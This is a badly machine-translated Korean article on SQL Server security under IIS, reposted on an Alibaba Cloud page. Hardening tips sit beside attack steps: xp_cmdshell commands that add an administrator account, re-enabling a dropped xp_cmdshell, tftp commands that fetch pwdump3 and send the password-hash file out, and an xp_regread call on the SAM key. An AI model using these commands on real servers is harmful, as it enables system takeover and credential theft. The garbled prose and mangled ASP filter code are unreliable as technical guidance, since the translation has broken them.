SQL Server 데이터베이스에 IIS에서 보안

출처: 인터넷
작성자: 사용자
키워드: 보안 SQL 서버 iis
Nimda로 CodeRED에서 수동으로 프로그램에 취약점을 자동으로 사용 하 여 원래 필요에 벌레를 많이 사용, 수동으로 이러한 IIS 취약점을 운영 하려면? 서버에서 사용 하는 데이터베이스를 보고 중력의 중심 조정 하자. 일반 웹 사이트 기반으로 데이터베이스, 특히 ASP, PHP, JSP, 동적으로 사이트를 표시 하려면 데이터베이스를 사용 하 여 같은 합니다. 많은 웹 사이트 운영 체제 취약점, 더 잘 알고 있을 수 있지만 데이터베이스와 이러한 스크립트의 보안은 항상 무시, 그리고 별로 관심. 스크립팅 문제, 이들은 오래 된 주제, 그리고 참조할 수 있습니다 가장 일반적인 시작에 바쁜의 "단순 침입 데이터베이스 및 악성 기물 파손, 하늘, 편지의 예를 들어" SQL 스크립트 질문에서 매우 상세한입니다. 대 한 스크립트의 보안 필터링을 통해 구현할 수 있습니다, 내가 이전에 쓴 것을 참조할 수 있습니다. Asp에 대 한 다음 필터 함수를 사용할 수 있습니다: 기능 Filter_sql (strdata) Dim strfilter Dim Blnflag 어둡게 나 Strfilter = ", / /,-, @, _, exec, 선언 "' 문자를 필터링 하는 데 필요한, 그들 자신, 추가할 수 있습니다", "구분 기호 blnflag는 flase = ' 사실 Dim arrayfilter arrayfilter 다음 플래그, 필터, 생성 하는 경우 필터 = 분할 (strfilter,",") 나에 대 한 경우 UBound (arrayfilter) 0 = Instr (Strdata, arrayfilter (i)) > 0 다음 blnflag 끝 경우 다음에 대 한 진정한 출구 = Blnflag는 n Response.Redirect "Wrong.asp" 지시 된다 미리 결정 된 페이지를 필터링 하는 작업을 발견. 그것은 항상 좋은 것은 어쨌든 정상적인 액세스 사용할 수 없습니다 연결 요청을 사용 하 여입니다. 다른 Filter_sql = strdata 끝 경우 보안 문제가 MS SQL Server 데이터베이스에 대 한 스크립트에 국한 되지 않습니다. "날 죽이고 마이크로소프트" 시스템은 매우 강한, 전체 windows 기반 시스템의 응용 프로그램은 SQL Server에 매우 강한 상관 관계, 데이터베이스 관리 및 시스템 관리 기본 동일시 수 있습니다. "SA" SQL server의 기본 관리자 계정에 대 한 암호는 비어는 대부분 NT 서버에 대 한 보안 취약점을 만듭니다. 반얀 "Sqlrcmd", 시스템 명령을 실행 하는 데이터베이스 관리자가 계정에 액세스를 사용할 수 있습니다. SQL 서버에 있는 많은 시스템 저장 프로시저, 일부는 데이터베이스에 의해 내부적으로 사용 되 고 일부 실행을 통해 저장 된에 시스템 명령을 호출 합니다. 시스템 저장 프로시저: xp_cmdshell 실행 주어진된 명령 문자열을 운영 체제 명령 줄 인터프리터. 그것은 구문에 특정: xp_cmdshell {' command_string '} [, No_output] 기본적으로 xp_cmdshell, sysadmin의 구성원만 실행할 수 있습니다. 그러나, sysadmin 또한 다른 사용자에 게이 실행 권한을 부여할 수 있습니다. 이전 버전에서는 xp_cmdshell 실행 권한을 얻은 사용자 SQL 서버 서비스의 사용자 계정 명령을 실행 했습니다. SQL Server에 SA 액세스 하지 않고 사용자가 sqlexecutivecmdexec Windows NT 계정에에서 xp_cmdshell을 실행할 수 있도록 구성 옵션으로 SQL Server를 구성할 수 있습니다. SQL Server 7.0에서이 계정은 SQLAgentCmdExec 라고 합니다. 이제 SQL Server2000에 실행할 수 있습니다 명령을 직접으로 저장된 프로시저를 실행할 수 있는 계정을. NT와 WIN2000에 대 한 사용자가 sysadmin 그룹의 구성원이 때 xp_cmdshell xp_sqlagent_proxy_account에 의해 지정 된 SQL Server 에이전트를 사용 하 여 프록시 계정을 시뮬레이션 합니다. 프록시 계정을 사용할 수 없는 경우 xp_cmdshell 실패 합니다. 그래서 경우에 master 데이터베이스의 db_owner 계정을, 저장된 프로시저를 실행할 수 없습니다. 만약 우리가 SA 계정에 빈 암호를 예: xp_cmdshell을 실행할 수 있는 데이터베이스 계정을. 우리는 명령을 실행할 수 있습니다 다음: EXEC xp_cmdshell 'net 사용자 refdom 123456/추가 'exec xp_cmdshell' net 닫습니다 관리자' 위의 두 가지 전화 시스템의 관리자 그룹에 사용자 추가: Refdom 우리는 데이터베이스에 대 한 SA 관리자 계정의 얻을 때, 우리는 컴퓨터의 완전 한 제어권을 수 있어야. 데이터베이스 보안의 중요성을 표시 됩니다. 다음 저장된 프로시저는 공개를 사용할 수 있는 모든: 파일 존재 여부를 확인 하는 Xp_fileexist. Xp_getfiledetails, 파일 세부 정보를 얻을 수 있습니다. Xp_dirtree, 모든 디렉토리 깊이를 알아야 하는 디렉터리를 확장할 수 있습니다. Xp_getnetname, 서버 이름을 얻을 수 있습니다. 되지 않은 저장된 프로시저는 레지스트리를 조작할 수 있다수행할 수 있습니다, 시스템 관리자 또는 권한 있는 실행 요구: xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumvalues xp_regread (수행 중)에 대 한 모든 패치 마이크로 소프트에 의해 충만 뿐 아니라 데이터베이스의 보안을 필요로 하는 xp_regremovemultistring Xp_regwrite SQL Server의 보안 구성. 첫째, 필요 SA, 시스템 계정 사용 구성과 유사한 같은 계정의 암호를 강화 하기 위해 할 하지 SA, 같은 가장 권한이 있는 계정을 사용 하 여 당신과 당신의 요구 사항을 만족 하는 일반 계좌 번호를 사용 하 여. 그런 다음 확장된 저장된 프로시저, 우선, xp_cmdshell의 대학살을 시작, 위의 저장된 프로시저의 많은 그것을 드롭, 일반적으로 필요 하지 않습니다. 실행: guest 계정을 제거 하 고 그것에 액세스 권한이 없는 사용자를 방지 하려면 마스터 sp_dropextendedproc 'xp_cmdshell'를 사용 합니다. 불필요 한 네트워크 프로토콜을 제거 합니다. 을 강화 하기 위해 데이터베이스 로그의 로깅 것이 좋습니다 모든 방문 이벤트를 기록 하입니다. 다음과 같은 간단한 DOS 명령을 사용 하 여 로그를 볼 수 있습니다: findstr/c: "로그인" D:\Microsoft SQL server\mssql\log\*.* 정기적으로 관리자 계정으로 모든 계정을 확인 암호가 비어 있거나 너무 간단 하 고, 다음 문 처럼 여부: 사용 마스터 선택 이름, 암호는 모든 계정에 대 한 null 사용 다음 문을 syslogins에서 암호 저장된 프로시저 및 확장된 저장된 프로시저에 대 한 실행 권한을 확인 하 고 불필요 한 실행 권한 확산의 주의: 마스터 사용 Sysobjects, sysprotects에서에서 sysobjects.name를 선출 어디 sysprotects.uid = 0 및 Xtype ('X', 'p'), sysobjects.id = 싸이 Sprotects.id의 보안 강화 데이터베이스는 매우 중요 한, 그리고 일부 데이터베이스 서버는 웹 서버에서 격리 된, 이것은 메일 서버와 동일, 데이터베이스 로그 보고,이 관리자에 대 한 감시 포인트 될 것입니다 아주 작은 있을 수 있습니다. DNS, 메일, 및 등, 같은 데이터베이스 서버는 다양 한 침입에 대 한 발판 하 경향이 있다. 여기 일부의 질문 및 데이터베이스에 대 한 답변: 1. xp_cmdshell을 실행할 수 없습니다 만일 저장 프로시저 후 SA 권한? A: 그것은 xp_cmdshell 확장 가능저장된 프로시저가 삭제 되 고이 저장된 프로시저를 사용 하 여 xp_cmdshell을 복원 수 있습니다. 시스템 관리자 암호를 얻기 위해 Sp_addextendedproc 'xp_cmdshell', 'Xpsql70.dll' 2, 데이터베이스를 통해 Pwdump와 먼저 업로드 pwdump tftp-i get Pwdump3.exe Pwdump3.exe Tftp-i Lsaext.dll lsaext.dll tftp-i get pwservice.exe pwservice.exe pwdump3 얻을 127.0.0.1 outfile.txt tftp 넣어 outfile.t XT Outfile.txt 그리고 사용 암호 해독 도구 L0PHT 등등 이러한 암호 해독을. 3. 데이터베이스에서 시스템 관리자 암호를 읽습니다. 읽을 수 있는 암호화 된 암호는 NT "관리자" 계정을 할 수 없어 밖으로, SQL Server가 읽을 수 있는 "LocalSystem" 계좌 번호의 사용은,이 계정을 관리자 수준 보다 높은 수준 이다. 다음 저장된 프로시저를 사용할 수 있습니다. 하지만 읽기 암호 암호화 한 다음 그것을 해독. Xp_regread 'HKEY_LOCAL_MACHINE', 'Security\sam\domains\account', 'F' 편집기 Zhaoyi zhaoyi#51cto.com 전화: (010) 68476636-8001 (0 표)를 강제로 유혹 (0 표) 넌센스 (0 표) 전문가 (0 표) (0 표) 전달 제목 파티 (0 표) 텍스트: IIS에서 SQL Server 데이터베이스 보안 돌아가기 홈 네트워크 보안
관련 문서

연락처

이 페이지의 내용은 인터넷에서 가져온 것이므로 Alibaba Cloud의 공식 의견이 아닙니다.이 페이지에서 언급 된 제품 및 서비스는 Alibaba Cloud와는 관련이 없으므로이 페이지의 내용이 골칫거리 인 경우 저희에게 알려주십시오. 우리는 5 일 근무일 이내에 이메일을 처리 할 것입니다.

커뮤니티에서 표절 사례를 발견한 경우 info-contact@alibabacloud.com 으로 관련 증거를 첨부하여 이메일을 보내주시기 바랍니다. 당사 직원이 영업일 기준 5일 내에 연락 드리도록 하겠습니다.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.